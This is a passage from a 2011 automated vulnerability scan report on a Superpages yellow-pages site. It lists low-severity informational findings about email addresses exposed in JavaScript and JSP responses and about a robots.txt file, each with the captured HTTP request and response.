Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


6.1. http://yellowpages.superpages.com/common/js/jquery-plugins.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-plugins.js

Issue detail

The following email address was disclosed in the response:

Request

GET /common/js/jquery-plugins.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
ETag: W/"22447-1296159280000"
Last-Modified: Thu, 27 Jan 2011 20:14:40 GMT
Content-Type: text/javascript
Date: Thu, 03 Feb 2011 16:00:26 GMT
Content-Length: 20498

.../**
* jQuery.ScrollTo
* Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
* Dual licensed under MIT and GPL.
* Date: 5/25/2009
*
* @projectDescription
...[SNIP]...
e secure attribute of the cookie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options)
{
if (typeof value != 'undefined')
{ // name and value given, set cookie
options = options || {};
if (value === null)
{
value = '';
options.expires =
...[SNIP]...

6.2. http://yellowpages.superpages.com/common/js/jquery.history_remote.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.history_remote.js

Issue detail

The following email address was disclosed in the response:

Request

GET /common/js/jquery.history_remote.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
ETag: W/"14324-1296159270000"
Last-Modified: Thu, 27 Jan 2011 20:14:30 GMT
Content-Type: text/javascript
Date: Thu, 03 Feb 2011 16:00:29 GMT
Content-Length: 12074

/**
* History/Remote - jQuery plugin for enabling history support and bookmarking
* @requires jQuery v1.0.3
*
* http://stilbuero.de/jquery/history/
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
*
...[SNIP]...
t will overwrite the default action of
* emptying all containers that are used to load content into.
* @type undefined
*
* @name $.ajaxHistory.initialize()
* @cat Plugins/History
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
$.ajaxHistory = new function() {
var RESET_EVENT = 'historyReset';
var _currentHash = location.hash;
var _intervalId = null;
var _observeHistory; // define outside if/else required by Opera
this.up
...[SNIP]...
. Default value: "remote-".
* @param Function callback A single function that will be executed when the request is complete.
* @type jQuery
*
* @name remote
* @cat Plugins/Remote
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
/**
* Implement Ajax driven links in a completely unobtrusive and accessible manner (also known as "Hijax")
* with support for the browser's back/forward navigation buttons and bookmarking.
*
* The
...[SNIP]...
. Default value: "remote-".
* @param Function callback A single function that will be executed when the request is complete.
* @type jQuery
*
* @name remote
* @cat Plugins/Remote
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
$.fn.remote = function(output, settings, callback) {
callback = callback || function() {};
if (typeof settings == 'function') { // shift arguments
callback = settings;
}
settings = $.extend({
hashP
...[SNIP]...
the value of the URL fragment identifier, e.g. if its
* current value matches the href attribute of the matched element.
*
* @type jQuery
*
* @name history
* @cat Plugins/History
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
$.fn.history = function(callback) {
return this.click(function(e) {
// add to history only if true click occured,
// not a triggered click...
if (e.clientX) {
// ...and die if already active
if (th
...[SNIP]...

6.3. http://yellowpages.superpages.com/listings.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The following email address was disclosed in the response:

Request

GET /listings.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=A128B8617DC8ADD934177CBF98AE8973; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56902
Date: Thu, 03 Feb 2011 17:09:52 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
<td width="260" height="32">We are unable to provide information regarding your account to xxx@proxymail.facebook.com</td>
...[SNIP]...

6.4. http://yellowpages.superpages.com/profile.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The following email address was disclosed in the response:

Request

GET /profile.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=34F8CD7F11AAE29FCDCADE0C5D2C054F; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56809
Date: Thu, 03 Feb 2011 17:09:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
<td width="260" height="32">We are unable to provide information regarding your account to xxx@proxymail.facebook.com</td>
...[SNIP]...

6.5. http://yellowpages.superpages.com/profiler/abook.jsp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The following email address was disclosed in the response:

Request

GET /profiler/abook.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=9349333F823CAE7CC6FEBB66A7259273; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 63675
Date: Thu, 03 Feb 2011 17:09:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<td width="260" height="32">We are unable to provide information regarding your account to xxx@proxymail.facebook.com</td>
...[SNIP]...

7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/shared.js

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: yellowpages.superpages.com

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: SPC=1296750604329-yellowpages.superpages.com-18392944-420872; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 16:30:04 GMT; Path=/
ETag: W/"123-1296178919000"
Last-Modified: Fri, 28 Jan 2011 01:41:59 GMT
Content-Type: text/plain
Content-Length: 123
Date: Thu, 03 Feb 2011 16:30:03 GMT
Connection: close

User-agent: *
Disallow: /tools/
Disallow: /*profile
Disallow: /profiler
Disallow: /reviews/
Disallow: /coupons/results.htm*

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 12:54:43 CST 2011.